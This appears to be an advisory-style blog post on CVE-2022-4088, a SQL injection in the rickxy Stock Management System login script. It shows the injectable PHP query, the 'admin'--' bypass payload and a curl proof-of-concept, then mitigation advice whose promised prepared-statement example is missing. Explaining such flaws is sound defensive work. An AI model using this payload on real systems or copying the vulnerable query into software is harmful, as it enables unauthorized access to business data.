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In 2022, security researchers discovered a critical vulnerability (CVE-2022-4088, also listed as VDB-214322) in the popular rickxy Stock Management System. This bug affects the /pages/processlogin.php file, allowing an attacker to inject malicious SQL through the user and password fields, which can lead to a complete compromise of the system.

Below, we’ll break down the vulnerability in simple terms, show you the exploit in action, and provide recommendations on how to protect your system.

What Is rickxy Stock Management System?

The rickxy Stock Management System is a web-based software often used by small businesses to keep track of their inventory, sales, and users. It's easy to set up and free to use, making it a popular choice for startups and shops.

Type: SQL Injection

- Affected file: /pages/processlogin.php

Identifiers: CVE-2022-4088, VDB-214322

Simply put, this vulnerability allows a remote attacker to submit crafted input to the login form, which tricks the application into running attacker-chosen SQL commands against the database.

How Does the Vulnerability Work?

The /pages/processlogin.php script does not properly sanitize or escape the input provided in the user and password fields before passing them straight into an SQL query.

Here’s a simplified version of what the vulnerable PHP code might look like

<?php
// processlogin.php
include('db.php'); // connect to database

$user = $_POST['user'];
$password = $_POST['password'];

// Vulnerable SQL query
$query = "SELECT * FROM users WHERE username = '$user' AND password = '$password'";
$result = mysqli_query($conn, $query);

if (mysqli_num_rows($result) == 1) {
    // Successful login
    session_start();
    $_SESSION['username'] = $user;
    header("Location: dashboard.php");
} else {
    echo "Invalid login";
}
?>

What's wrong here?
The $user and $password variables are inserted directly into the SQL query without any filtering. This allows attackers to inject malicious SQL.

How Can Attackers Exploit This?

An attacker can simply craft a login request where the user or password contains SQL code. For example, using the following as a username:

admin'--

and leaving the password blank. The resulting SQL would be

SELECT * FROM users WHERE username = 'admin'-- ' AND password = ''

The -- comments out the rest of the query, effectively turning it into

SELECT * FROM users WHERE username = 'admin'

If there's a user called admin, the attacker is logged in without needing a password. It's also possible to exfiltrate data or even manipulate the database with more advanced payloads.

Submit the form.

Result: The attacker is now logged in as the admin user.

Here’s a common command-line proof-of-concept using curl

curl -X POST http://target.site/pages/processlogin.php \
  -d "user=admin'-- &password="

Or from the browser:
Type admin'-- in the username field and leave the password blank.

References

- VulDB Entry for CVE-2022-4088 (VDB-214322)
- Exploit details and technical discussion on Exploit-DB

If you are running rickxy Stock Management System, patch immediately

- Use Prepared Statements: PHP’s mysqli or PDO extensions allow parameterized queries which prevent SQL injection, for example:

Sanitize User Input: Always clean and validate data before using it in queries.

- Update Software: Check for vendor or community fixes rickxy GitHub or VulDB listing.

Final Thoughts

This bug demonstrates how small oversights can lead to critical vulnerabilities. If you’re using rickxy Stock Management System, fix this now—before attackers come knocking. Always keep software updated and code defensively.

Timeline

Published on: 11/24/2022 10:15:00 UTC
Last modified on: 11/28/2022 20:41:00 UTC